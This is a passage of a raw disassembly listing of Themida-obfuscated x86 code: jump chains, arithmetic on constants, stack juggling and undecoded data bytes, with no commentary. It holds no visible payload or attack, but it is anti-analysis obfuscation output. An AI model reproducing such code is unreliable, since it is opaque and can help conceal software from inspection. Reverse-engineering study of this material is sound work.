loc_5A5814 ; --------------------------------------------------------------------------- dd 24B7D05h, 0E9E8013Ch, 0FFFFD1D8h, 0E904C483h, 0FFFFE5A0h dd 0E95FF929h, 4961h ; --------------------------------------------------------------------------- loc_59ED04: ; CODE XREF: Themida_:005A50B9j add esi, 22C8E3C7h jmp loc_5A1E26 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 8B545000h, 1DE92404h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59ED1F: ; CODE XREF: Themida_:0059EE5Dj push ecx jmp loc_5A937F ; --------------------------------------------------------------------------- loc_59ED25: ; CODE XREF: Themida_:loc_5A854Bj neg ebx jbe loc_598FEA shl ebx, 7 js loc_5A7B88 jmp loc_5A4A22 ; --------------------------------------------------------------------------- db 5Fh ; --------------------------------------------------------------------------- loc_59ED3C: ; CODE XREF: Themida_:005A19CAj xor eax, [esp] mov esp, [esp] pop ecx jmp loc_5A3552 ; --------------------------------------------------------------------------- loc_59ED48: ; CODE XREF: Themida_:0059CBABj ; Themida_:005A1B5Cj add edi, 4 xchg edi, [esp] pop esp add ecx, 24EB6AA7h jmp loc_5AD9BD ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 0E9000000h, 0A59Dh ; --------------------------------------------------------------------------- loc_59ED68: ; CODE XREF: Themida_:005ADC77j add ch, 2Ch push edx jmp loc_59ADFE ; --------------------------------------------------------------------------- loc_59ED71: ; CODE XREF: Themida_:0059F665j jz loc_59C3DF xor esi, 2D21BCABh jmp loc_5ADBDD ; --------------------------------------------------------------------------- loc_59ED82: ; CODE XREF: Themida_:005AAE10j pop edx push ebp mov ebp, 38566811h jmp loc_5A2D32 ; --------------------------------------------------------------------------- dw 248Bh dd 95F6E924h, 489FFFFh, 0D414E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59ED9E: ; CODE XREF: Themida_:0059E1B6j sub esp, 4 mov [esp], edx mov edx, 4 sub ebp, edx mov edx, [esp] add esp, 4 jmp loc_5A56B7 ; --------------------------------------------------------------------------- loc_59EDBC: ; CODE XREF: Themida_:005A8819j mov eax, [esp] add esp, 4 or bl, 99h jnp loc_5A614C jmp loc_59BC53 ; --------------------------------------------------------------------------- db 1 dd 85EF81DFh, 0FF49341Ch, 565B2434h, 32E9E689h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59EDE7: ; CODE XREF: Themida_:0059F8CFj pop edi push 739Dh mov [esp], ecx mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push ecx push 141F2138h mov ecx, [esp] add esp, 4 xor ecx, 1F3C179Ah ja loc_59FAAC not ecx inc ecx add ecx, 233E56AEh push ecx mov edx, ecx loc_59EE2C: ; CODE XREF: Themida_:005AC940j sub esi, 32D12A09h add esi, ecx jmp loc_59BA32 ; --------------------------------------------------------------------------- loc_59EE39: ; CODE XREF: Themida_:0059D524j sub esp, 4 mov [esp], edx mov edx, esp push ecx jmp loc_5A145F ; --------------------------------------------------------------------------- loc_59EE47: ; CODE XREF: Themida_:005A85D8j push ebp jmp loc_5A4D77 ; --------------------------------------------------------------------------- loc_59EE4D: ; CODE XREF: Themida_:005AA5E8j pop esi sub ecx, 33EA1766h sub ecx, edi add ecx, 33EA1766h pop edi jmp loc_59ED1F ; --------------------------------------------------------------------------- loc_59EE62: ; CODE XREF: Themida_:0059C4B6j shr ebp, 4 jmp loc_5AC2A4 ; --------------------------------------------------------------------------- dw 8358h dd 348904ECh, 7FBA5224h, 5222654Eh, 1820E9h db 0 ; --------------------------------------------------------------------------- loc_59EE7D: ; CODE XREF: Themida_:005AAA07j mov [esp], ecx push 197F559Fh pop ecx shr ecx, 6 xchg edi, ecx not edi jmp loc_5A6B09 ; --------------------------------------------------------------------------- loc_59EE92: ; CODE XREF: Themida_:005A57CBj push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, 50016141h neg edx dec edx not edx shr edx, 3 push eax jmp loc_5A7F81 ; --------------------------------------------------------------------------- dd 0FF94D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_59EEB5: ; CODE XREF: Themida_:005AAB33j push esi mov esi, 34DA4EC9h sub esi, 0F5B33CBBh add ebp, esi pop esi pop edx jmp loc_5ABD06 ; --------------------------------------------------------------------------- dw 487h dd 760CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59EED2: ; CODE XREF: Themida_:0059CE15j push ebp mov ebp, 5F1E5FE2h sub [esp+4], ebp pop ebp mov ecx, [esp] jmp loc_59964F ; --------------------------------------------------------------------------- loc_59EEE5: ; CODE XREF: Themida_:005ABB6Dj sub ebx, 61DF6B79h mov ecx, ebx pop ebx add eax, ecx jmp loc_5AD085 ; --------------------------------------------------------------------------- aM0S_0 db '¬0Ψι',1Bh,'Ρ',0 db 0 ; --------------------------------------------------------------------------- loc_59EEFD: ; CODE XREF: Themida_:005A0850j shl esi, 5 or esi, 7933191Eh sub esi, 7C396219h jmp loc_5A2326 ; --------------------------------------------------------------------------- aZSS db 'Ϊι΅',0 align 4 loc_59EF18: ; CODE XREF: Themida_:005A2257j ; Themida_:005AF56Cj sub ecx, 100C68E2h push ebp jmp loc_5AAE51 ; --------------------------------------------------------------------------- loc_59EF24: ; CODE XREF: Themida_:005A5220j mov edi, [esp] add esp, 4 jmp loc_59D740 ; --------------------------------------------------------------------------- dw 4566h dd 0FFEBE9E9h, 0E95B66FFh, 4B48h, 54240489h, 40558h, 19E90000h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59EF4F: ; CODE XREF: Themida_:0059F03Cj add eax, 3BDE6253h add eax, ebx push ecx mov ecx, 57B44E14h add ecx, 0E42A143Fh jmp loc_5A6DDC ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFDCF0h, 9950462Dh, 58C5315Eh, 8904EC83h, 5CE9241Ch db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59EF7F: ; CODE XREF: Themida_:005AC7D3j push 65B734FFh push dword ptr [esp] pop esi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5A17B7 ; --------------------------------------------------------------------------- loc_59EF9D: ; CODE XREF: Themida_:005A9963j mov edx, esi pop esi mov eax, [esp] add esp, 4 mov ebx, 782E45B7h sub ebx, edx pop edx jmp loc_5A53E9 ; --------------------------------------------------------------------------- dw 248Bh dd 24348924h, 0B86EDABEh, 0DB9514Dh, 3121F421h, 0F68159CEh dd 6C4C4FD3h, 6056C581h, 7FE96280h db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59EFDB: ; CODE XREF: Themida_:005A495Fj xor eax, 1B8A5385h mov edi, eax pop eax jmp loc_59B53A ; --------------------------------------------------------------------------- loc_59EFE8: ; CODE XREF: Themida_:005AD2D0j mov [esp], esi jmp loc_5AD741 ; --------------------------------------------------------------------------- loc_59EFF0: ; CODE XREF: Themida_:005A118Cj neg ch sub ch, 0FFh xor ch, 0A5h sub al, ch pop ecx jmp loc_5A7C1A ; --------------------------------------------------------------------------- loc_59F000: ; CODE XREF: Themida_:0059EA47j ; Themida_:loc_5ACD15j shl edx, 2 or edx, 2C1B2F25h jmp loc_5A5921 ; --------------------------------------------------------------------------- loc_59F00E: ; CODE XREF: Themida_:005AE05Fj xor edi, ebp pop ebp push ebx mov ebx, 56F7230Bh push edi push 73C53EAh jmp loc_5AE97C ; --------------------------------------------------------------------------- loc_59F022: ; CODE XREF: Themida_:0059DF61j pop edi xor edx, 7D9835DBh jge loc_5A3236 add edx, 0CE96F0Bh jl loc_59F4E4 pop ebp jmp loc_59EF4F ; --------------------------------------------------------------------------- db 47h, 0E9h, 4Bh db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F047: ; CODE XREF: Themida_:005A4045j inc edi shl edi, 8 jmp loc_598A1C ; --------------------------------------------------------------------------- loc_59F050: ; CODE XREF: Themida_:0059BB82j add edi, 78A76C24h push edi pop ebp pop edi jmp loc_5A1FAD ; --------------------------------------------------------------------------- loc_59F05E: ; CODE XREF: Themida_:005AB18Bj add eax, ecx jmp loc_5A00F3 ; --------------------------------------------------------------------------- loc_59F065: ; CODE XREF: Themida_:0059A9D7j ; Themida_:0059A9DFj pop eax xor ebp, eax jmp loc_5A1F5A ; --------------------------------------------------------------------------- loc_59F06D: ; CODE XREF: Themida_:005A9300j push 1F87h mov [esp], edi mov edi, 308801DAh or eax, edi jmp loc_59C527 ; --------------------------------------------------------------------------- loc_59F081: ; CODE XREF: Themida_:005A8878j add esp, 4 xor al, cl push dword ptr [esp] pop ecx push eax mov eax, esp sub esp, 4 mov [esp], edx mov edx, 76A3230Bh push edi mov edi, 37674FD6h shr edi, 6 add edi, 1 neg edi push edx mov edx, 343D25EFh inc edx sub edx, 7E2D5810h add edx, 19555B03h neg edx sub edx, 2DA777AFh xor edx, 227747EAh jmp loc_5AE785 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4EA8100h, 87000000h, 0E95C2414h, 643Dh, 8006EDC0h dd 0E95BEDh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F0EF: ; CODE XREF: Themida_:005A002Ej mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] or eax, ebp mov ebp, [esp] add esp, 4 jmp loc_5A5A61 ; --------------------------------------------------------------------------- dd 8DABC781h, 0FD01C94Ah, 0E92434FFh, 0FFFFE867h ; --------------------------------------------------------------------------- loc_59F124: ; CODE XREF: Themida_:0059C360j and eax, 314B7D35h xor eax, 200B3414h add ebx, eax pop eax jmp loc_5A16A8 ; --------------------------------------------------------------------------- loc_59F136: ; CODE XREF: Themida_:00598C9Aj ; Themida_:loc_59A035j add al, 9Dh or cl, al pop eax sub cl, 0ADh add al, cl jmp loc_59C394 ; --------------------------------------------------------------------------- loc_59F145: ; CODE XREF: Themida_:0059CB14j ; Themida_:005A7382j push edx mov edx, 568C5747h and edx, 73C136Eh sub edx, 8D121BAh and edx, 8752813h sub edx, 8301FFCh add ebx, edx pop edx xchg ebx, [esp] pop esp jmp loc_5A9941 ; --------------------------------------------------------------------------- loc_59F16F: ; CODE XREF: Themida_:005A9E5Aj push dword ptr [esp] mov ebp, [esp] jmp loc_5ABC7D ; --------------------------------------------------------------------------- loc_59F17A: ; CODE XREF: Themida_:005AE343j sub al, 53h push bx push 11B8h jmp loc_5ABD49 ; --------------------------------------------------------------------------- loc_59F188: ; CODE XREF: Themida_:0059C49Ej sub esp, 4 mov [esp], edi push edx jmp loc_599051 ; --------------------------------------------------------------------------- loc_59F194: ; CODE XREF: Themida_:005A696Aj pop edx jmp loc_5A2AEA ; --------------------------------------------------------------------------- dw 6851h dd 1EBCh, 83242489h, 59042404h, 4C181h, 0BD550000h, 2 dd 38ACE9h db 0 ; --------------------------------------------------------------------------- loc_59F1B9: ; CODE XREF: Themida_:loc_5AC7FBj jmp loc_59D586 ; --------------------------------------------------------------------------- loc_59F1BE: ; CODE XREF: Themida_:005AC6D2j jmp loc_59D36C ; --------------------------------------------------------------------------- loc_59F1C3: ; CODE XREF: Themida_:005A15E7j mov [esp], ebx jmp loc_5AC0AE ; --------------------------------------------------------------------------- db 59h dd 3302EB81h, 0F38128B1h, 0C5FD3ABh, 1C85BD55h, 0EF014934h dd 0FBEDE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F1E6: ; CODE XREF: Themida_:0059D4F9j mov dh, bh mov ch, dh pop edx jmp loc_5AEB0B ; --------------------------------------------------------------------------- dd 8924248Bh, 74FF241Ch, 1C8B0424h, 4C48124h, 8F000000h dd 248B2404h, 0C8B6624h, 59545124h, 4C181h, 0E9830000h dd 240C8704h, 8924248Bh, 5954240Ch, 4C181h, 0BB530000h dd 2, 76A5E981h, 0D9010286h, 60BD5557h, 4511FF01h, 6CBECD81h dd 0F5814D7Eh, 5F791B5Ah, 15DEF89h, 34FF5FF9h, 0C4835B24h dd 0E2895204h, 4C281h, 0EA810000h, 4, 0B763E9h, 30C53400h dd 24048BC7h, 2C04C483h, 4F80041h, 0C3045B41h, 0FFC569E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F285: ; CODE XREF: Themida_:005A8308j push 7A85h mov [esp], edi pop dword ptr [edx+38h] jmp loc_5A055B ; --------------------------------------------------------------------------- loc_59F295: ; CODE XREF: Themida_:005A3BEBj push 7D3Ah mov [esp], esi mov esi, 9277757h mov eax, esi pop esi mov ebx, eax mov eax, [esp] add esp, 4 and ebx, 76B93CADh jmp loc_5A6D61 ; --------------------------------------------------------------------------- loc_59F2BB: ; CODE XREF: Themida_:005A6A98j mov esp, [esp] jmp loc_5ABF99 ; --------------------------------------------------------------------------- loc_59F2C3: ; CODE XREF: Themida_:005A3334j push ebx mov ebx, 7B5970F2h not ebx shl ebx, 5 xor ebx, 0CDB7092h jns loc_59A05B xor ebx, 0B7262831h jmp loc_5A79F9 ; --------------------------------------------------------------------------- loc_59F2E5: ; CODE XREF: Themida_:0059E44Fj mov ebx, [esp] add esp, 4 add bl, 0AFh sub bl, 3Fh jmp loc_59A2CD ; --------------------------------------------------------------------------- db 68h, 0Eh, 0Bh dd 465E00BCh, 5193E9h, 0E2895200h, 37E3E9h, 2DD8F700h dd 2028234Ch, 2958C731h, 8B5E5FF8h, 89562434h, 4C681E6h dd 0E9000000h, 0A7CCh, 0C73DB305h, 0E9D80129h, 3F88h, 0E9243433h dd 0FFFFF80Eh ; --------------------------------------------------------------------------- loc_59F340: ; CODE XREF: Themida_:005ABC43j add ebp, ebx add ebp, 5CA5680Bh jmp loc_59E80C ; --------------------------------------------------------------------------- loc_59F34D: ; CODE XREF: Themida_:005ACB77j add esp, 4 push ebx xchg ebx, [esp] not ebx xchg ebx, [esp] pop ebx inc ebx shr ebx, 1 push esi push ebx push 0A36590Dh jmp loc_59A965 ; --------------------------------------------------------------------------- dd 8304C483h, 0C8904ECh, 4C9BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59F37A: ; CODE XREF: Themida_:005A3092j mov bl, 0EBh add bl, cl pop ecx sub bl, dh mov edx, [esp] push ecx jmp loc_5A2A08 ; --------------------------------------------------------------------------- dw 3489h dd 2BE24h, 0BA520000h, 4CA50E73h, 5641E281h, 0F281119Ah dd 209E7302h, 6007C281h, 0F281314Ah, 0F35A9CEh, 0FFA1ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_59F3B5: ; CODE XREF: Themida_:0059A5CCj mov esi, 6F12211Fh sub edi, esi pop esi pop edx movzx eax, al jmp loc_5A0166 ; --------------------------------------------------------------------------- loc_59F3C6: ; CODE XREF: Themida_:005A1346j mov esp, [esp] mov [esp], esi sub esp, 4 mov [esp], ecx mov ecx, ebx sub esp, 4 mov [esp], ecx xor dword ptr [esp], 43F73C3Ch pop esi xor esi, 43F73C3Ch push dword ptr [esp] jmp loc_5A217E ; --------------------------------------------------------------------------- dw 4481h dd 6C400824h, 6C011EBAh, 0BF570824h, 1EBA6C40h, 0F7D9E9h dd 0F0305800h, 5324148Bh, 0C381E389h, 4, 4C381h, 1C870000h dd 0F38AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59F42A: ; CODE XREF: Themida_:005ADC23j neg al jmp loc_5A70E1 ; --------------------------------------------------------------------------- db 81h, 0F1h, 47h aDyUs7 db 'DY»Uι$7',0 dd 0E9028F00h, 0FFFF8F48h, 5E08950h, 4, 90A0E9h, 2C48300h dd 242C8B66h, 53E18951h, 4BE36852h, 815A32DEh, 0DE4BE7F2h dd 3DE95232h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F46F: ; CODE XREF: Themida_:00599444j xor cl, bh jmp loc_5A8AFC ; --------------------------------------------------------------------------- loc_59F476: ; CODE XREF: Themida_:0059FAF5j shl ebx, 2 or ebx, 1C716D06h jmp loc_5AD395 ; --------------------------------------------------------------------------- loc_59F484: ; CODE XREF: Themida_:005A2554j mov ebx, [esp] add esp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] push ecx mov ecx, esp jmp loc_5A0421 ; --------------------------------------------------------------------------- dd 0F828472Ch, 8EE94704h, 68FFFFFAh, 3F23h, 0FF9BE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F4B5: ; CODE XREF: Themida_:0059FDCFj add edx, ebx pop ebx xchg edx, [esp] pop esp and ecx, edi push dword ptr [esp] pop edi add esp, 4 shr ecx, 0Bh push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 sub ebp, 4 jmp loc_5A3BD2 ; --------------------------------------------------------------------------- loc_59F4E4: ; CODE XREF: Themida_:0059B935j ; Themida_:0059F035j xor [esp], ecx jmp loc_5AE016 ; --------------------------------------------------------------------------- dd 240C8B66h, 563268h, 24348900h, 0EC815E54h, 4, 0E9242C89h dd 8D64h ; --------------------------------------------------------------------------- loc_59F508: ; CODE XREF: Themida_:00598869j sub esp, 4 jmp loc_59E9BF ; --------------------------------------------------------------------------- loc_59F510: ; CODE XREF: Themida_:005A3AF6j jl loc_5A0F32 and ebx, 11D108BBh jle loc_59B7BB mov ebx, esi loc_59F524: ; CODE XREF: Themida_:005A5430j push ebp mov ebp, esp jmp loc_5AB681 ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 0A12BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59F53A: ; CODE XREF: Themida_:005A8D85j xchg esi, edi jmp loc_5A1A17 ; --------------------------------------------------------------------------- db 0BBh, 72h, 2Ch dd 0DBF70364h, 8106E3C1h, 0A5F6FC3h, 3CEB8121h, 4B6F436Dh dd 0E8B3F381h, 0C281BCF6h, 26513B8Ch, 0EA81DA29h, 26513B8Ch dd 19A4E95Bh, 0EB810000h, 0C5C39179h, 361BB951h, 0E18123C0h dd 1D657C7Eh, 0B5F1E9h db 0 ; --------------------------------------------------------------------------- loc_59F589: ; CODE XREF: Themida_:005AC732j jmp loc_59838C ; --------------------------------------------------------------------------- dw 0DEF7h dd 53B0C681h, 0D6F750D9h, 5ECE8146h, 0E9499F15h, 0FFFFEC44h ; --------------------------------------------------------------------------- loc_59F5A4: ; CODE XREF: Themida_:005A5B42j mov ebp, 4 mov esi, ebp pop ebp add edx, esi pop esi push 7A45h mov [esp], edi push 55C3h mov [esp], edx jmp loc_5A1F16 ; --------------------------------------------------------------------------- loc_59F5C4: ; CODE XREF: Themida_:005AB38Fj push 44EFh jmp loc_59B302 ; --------------------------------------------------------------------------- dw 0C483h dd 24048B04h, 6604C483h, 86EB8853h, 86D6F6F3h, 66DD88F3h dd 81241C8Bh, 2C4h, 0E438E900h, 0D0010000h, 0E924148Bh dd 0FFFFAF2Fh ; --------------------------------------------------------------------------- loc_59F5FC: ; CODE XREF: Themida_:005AB90Fj sub bl, ch pop ecx add bl, 5Eh shr bl, 5 sub bl, 0EFh sub al, bl pop ebx push edx mov dl, 8Fh add bl, dl push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5AD2F6 ; --------------------------------------------------------------------------- loc_59F625: ; CODE XREF: Themida_:005A1087j pop esi push eax push esp jmp loc_5A82CD ; --------------------------------------------------------------------------- aShv7 db 'ShV7',0 dw 8900h dd 4832424h, 555B0424h, 0C57DE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59F642: ; CODE XREF: Themida_:005A9537j mov ecx, ebx jmp loc_5A914D ; --------------------------------------------------------------------------- loc_59F649: ; CODE XREF: Themida_:0059E382j add ecx, 29CB5F6Ah mov ebx, [esp] add esp, 4 rep movsd add esp, [edx+38h] jmp loc_5A052B ; --------------------------------------------------------------------------- loc_59F662: ; CODE XREF: Themida_:00599688j shr esi, 7 jmp loc_59ED71 ; --------------------------------------------------------------------------- dw 8958h dd 0E0C15FF8h, 7D802D07h, 0C52D4450h, 5785137h, 80566BD6h dd 743FE9h db 0 ; --------------------------------------------------------------------------- loc_59F685: ; CODE XREF: Themida_:005A36C5j add esp, 4 jmp loc_5A67A0 ; --------------------------------------------------------------------------- loc_59F690: ; CODE XREF: Themida_:005A3231j mov edx, 4 add esi, edx mov edx, [esp] add esp, 4 push eax mov eax, 4 add esi, eax pop eax push ebp mov ebp, esp add ebp, 4 jmp loc_59E85B ; --------------------------------------------------------------------------- loc_59F6B4: ; CODE XREF: Themida_:005A4A5Fj inc edi xor edi, 5DB91CE3h jns loc_59C181 not edi push ecx jmp loc_5A6470 ; --------------------------------------------------------------------------- db 57h, 53h, 0C6h db 0C5h, 0DAh, 5Ch ; --------------------------------------------------------------------------- loc_59F6CF: ; CODE XREF: Themida_:005AD2B9j dec ebx jmp loc_5A58AD ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4EAh, 24148700h, 0F842E9h db 0 ; --------------------------------------------------------------------------- loc_59F6E9: ; CODE XREF: Themida_:0059DBE0j mov ebx, edx mov edx, [esp] add esp, 4 push eax mov eax, 0C4D7E33h jmp loc_5A428A ; --------------------------------------------------------------------------- dd 4C481h, 0EC810000h, 4, 89240C89h, 79C368E1h, 4890000h dd 5972B824h, 0E9536688h, 0FFFFB674h, 7E22BCBBh, 0BEE95756h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F72B: ; CODE XREF: Themida_:005A4D50j pop edx push ecx jmp loc_5A9B00 ; --------------------------------------------------------------------------- loc_59F732: ; CODE XREF: Themida_:005AACF6j sub edx, ecx mov ecx, [esp] jmp loc_5A9A17 ; --------------------------------------------------------------------------- loc_59F73C: ; CODE XREF: Themida_:005ADA25j pop ecx sub ebx, eax pop eax and eax, ebx pop ebx or edx, eax shl edx, 1 push 1CEEh mov [esp], edx mov edx, 3AC958C5h inc edx jge loc_5AB966 xor edx, 7503011Bh jz loc_5AA8CA pop edi loc_59F768: ; CODE XREF: Themida_:00599D6Dj xor ebp, 68307B84h jmp loc_5A8DF2 ; --------------------------------------------------------------------------- loc_59F773: ; CODE XREF: Themida_:005A5A37j sub eax, ecx pop ecx push ebx jmp loc_5AE96B ; --------------------------------------------------------------------------- loc_59F77C: ; CODE XREF: Themida_:005A2FB2j add esi, eax push dword ptr [esp] pop eax jmp loc_5A180D ; --------------------------------------------------------------------------- loc_59F787: ; CODE XREF: Themida_:005A36F9j mov ebx, 691747DEh xor ebx, 51AB728Eh jno loc_599ED6 jmp loc_5A4498 ; --------------------------------------------------------------------------- db 81h, 0F7h, 2 dd 5BD7791Bh ; --------------------------------------------------------------------------- loc_59F7A4: ; CODE XREF: Themida_:005A0EE3j xchg ebx, [esp] pop esp jmp loc_5ADE1C ; --------------------------------------------------------------------------- loc_59F7AD: ; CODE XREF: Themida_:005A18A8j push edi jmp loc_5A93C2 ; --------------------------------------------------------------------------- loc_59F7B3: ; CODE XREF: Themida_:005A9E11j add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] pop esp jmp loc_59CA0C ; --------------------------------------------------------------------------- loc_59F7C4: ; CODE XREF: Themida_:005A8338j xor eax, 6ABF3E62h mov esi, eax push dword ptr [esp] pop eax add esp, 4 add ecx, esi jmp loc_5ABE0F ; --------------------------------------------------------------------------- loc_59F7D9: ; CODE XREF: Themida_:005AAE5Cj add ebp, eax pop eax sub ebp, 18B1AE74h add ecx, 15CF5B09h sub ecx, ebp sub ecx, 15CF5B09h jmp loc_5A887D ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 1B11E9h db 0 ; --------------------------------------------------------------------------- loc_59F7FD: ; CODE XREF: Themida_:loc_598F0Ej push ecx mov ecx, 9483E196h xor ebx, ecx pop ecx add ebx, 65852D52h add ebx, 746C5347h add ebx, edi sub esp, 4 mov [esp], eax mov eax, 746C5347h jmp loc_5A8009 ; --------------------------------------------------------------------------- loc_59F824: ; CODE XREF: Themida_:0059E6F6j push 3CBF2F9Dh jmp loc_5A6E3D ; --------------------------------------------------------------------------- loc_59F82E: ; CODE XREF: Themida_:005A4775j mov [esp], eax mov ah, 7Ah xor ah, 73h add bl, ah push dword ptr [esp] push dword ptr [esp] jmp loc_5A905F ; --------------------------------------------------------------------------- loc_59F843: ; CODE XREF: Themida_:005A928Bj inc cl jnp loc_5AF040 push edx mov dl, 32h shl dl, 6 xor dl, 87h push eax mov al, 59h mov cl, al loc_59F859: ; CODE XREF: Themida_:005ABC70j pop esi dec edx jmp loc_5A3D56 ; --------------------------------------------------------------------------- loc_59F860: ; CODE XREF: Themida_:005A4C23j push edi mov edi, 2EF17341h jmp loc_5A3CD1 ; --------------------------------------------------------------------------- loc_59F86B: ; CODE XREF: Themida_:00598C37j jmp loc_59CE55 ; --------------------------------------------------------------------------- dd 8B2434FFh, 81E92404h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F87B: ; CODE XREF: Themida_:005A61F2j mov [esp], eax mov eax, 4 jmp loc_5A2A97 ; --------------------------------------------------------------------------- loc_59F888: ; CODE XREF: Themida_:005A80B7j not ebx jmp loc_5A9AF2 ; --------------------------------------------------------------------------- loc_59F88F: ; CODE XREF: Themida_:005A58B3j mov edi, ebx jmp loc_5AC4EC ; --------------------------------------------------------------------------- loc_59F896: ; CODE XREF: Themida_:005AD4F2j add edi, ebp add edi, 69E47673h sub edi, 47870C74h pop ebp jmp loc_5AF3F9 ; --------------------------------------------------------------------------- loc_59F8AA: ; CODE XREF: Themida_:005A9C08j sub ebx, 0ADA0C8Eh add ebx, esi add ebx, 0ADA0C8Eh pop esi pop small word ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- loc_59F8C1: ; CODE XREF: Themida_:005A578Bj sub ecx, 430F0E83h add ecx, edi add ecx, 430F0E83h jmp loc_59EDE7 ; --------------------------------------------------------------------------- dd 24148966h, 0D028EAB2h, 0E9E95A66h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F8E3: ; CODE XREF: Themida_:0059B7B6j shr esi, 2 and esi, 211F44FBh jmp loc_5AB9E2 ; --------------------------------------------------------------------------- loc_59F8F1: ; CODE XREF: Themida_:005ACB29j mov ecx, [esp] jmp loc_5A6618 ; --------------------------------------------------------------------------- loc_59F8F9: ; CODE XREF: Themida_:0059A099j mov [esp], edx jmp loc_59CA47 ; --------------------------------------------------------------------------- loc_59F901: ; CODE XREF: Themida_:0059A0CDj add ebp, ecx pop ecx xor ebp, 0B507D12h jmp loc_59D000 ; --------------------------------------------------------------------------- loc_59F90F: ; CODE XREF: Themida_:005A3FD3j pop dword ptr [esp] pop esp mov [esp], edx push ebp jmp loc_5A300E ; --------------------------------------------------------------------------- loc_59F91C: ; CODE XREF: Themida_:005A194Aj add edi, edx push dword ptr [esp] pop edx jmp loc_5AAA0C ; --------------------------------------------------------------------------- loc_59F927: ; CODE XREF: Themida_:005A0E16j pop ecx shl ebx, 2 xor ebx, 0A159C6FDh sub eax, ebx pop ebx add eax, edi add eax, 1BAD2A05h pop edi jmp loc_5A4CD5 ; --------------------------------------------------------------------------- loc_59F941: ; CODE XREF: Themida_:0059E402j mov ebx, 4A39017Bh or ebx, 4E036B59h jmp loc_5A045C ; --------------------------------------------------------------------------- db 88h, 0F9h, 88h dd 240C8BCCh, 5B04C483h, 8058E588h, 0F5801ACDh, 5E5C0C6h dd 8067CD80h, 0E82848C5h, 3721E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59F976: ; CODE XREF: Themida_:005AA9EAj mov [esp], ecx push eax jmp loc_5A2460 ; --------------------------------------------------------------------------- loc_59F97F: ; CODE XREF: Themida_:0059AF5Ej ; Themida_:005A4636j push 5D165F1Bh pop eax push ebx push esi mov esi, 48093A51h mov ebx, 62C24C6Ah xor ebx, esi pop esi add eax, 23961B79h add eax, ebx sub eax, 23961B79h pop ebx push 0 jmp loc_5AC41B ; --------------------------------------------------------------------------- db 89h dd 0F71DE9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F9B2: ; CODE XREF: Themida_:005AEE0Fj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_5A047B ; --------------------------------------------------------------------------- loc_59F9C7: ; CODE XREF: Themida_:0059A0BAj mov esp, [esp] add esp, 4 push ebp push eax push ebp mov ebp, 5A1A7BE0h jmp loc_5A9CB6 ; --------------------------------------------------------------------------- loc_59F9DA: ; CODE XREF: Themida_:005A9657j push dword ptr [esp] pop eax jmp loc_5A367E ; --------------------------------------------------------------------------- db 35h dd 7A9A50E8h, 1408005h, 58C6011Fh, 216068h, 241C8900h dd 4BBh, 0B8ECE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59FA02: ; CODE XREF: Themida_:0059C4A8j push eax xor dword ptr [esp], 65947292h pop ebx xor ebx, 65947292h pop eax mov esi, [esp] add esp, 4 jmp loc_5A505A ; --------------------------------------------------------------------------- loc_59FA20: ; CODE XREF: Themida_:0059B0B4j sub ebx, 12A27443h mov eax, ebx jmp loc_5ADD00 ; --------------------------------------------------------------------------- loc_59FA2D: ; CODE XREF: Themida_:0059D24Fj not bl jmp loc_5A7D6B ; --------------------------------------------------------------------------- loc_59FA34: ; CODE XREF: Themida_:005A363Ej pop edi jmp loc_5989B4 ; --------------------------------------------------------------------------- loc_59FA3A: ; CODE XREF: Themida_:0059E347j or esi, 24C0655h jmp loc_5A3E11 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXhly db 'Xh«y',0 align 2 dw 43E9h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FA53: ; CODE XREF: Themida_:005A8A08j add ebx, edi sub ebx, 18B8444Ah pop edi add ebx, 2 xchg ebx, [esp] pop esp mul cx push small 5169h mov [esp], dx jmp loc_5A8B24 ; --------------------------------------------------------------------------- db 51h dd 6EFABA52h, 0DAF73F83h, 3810F4Ah, 4AFFFFE6h, 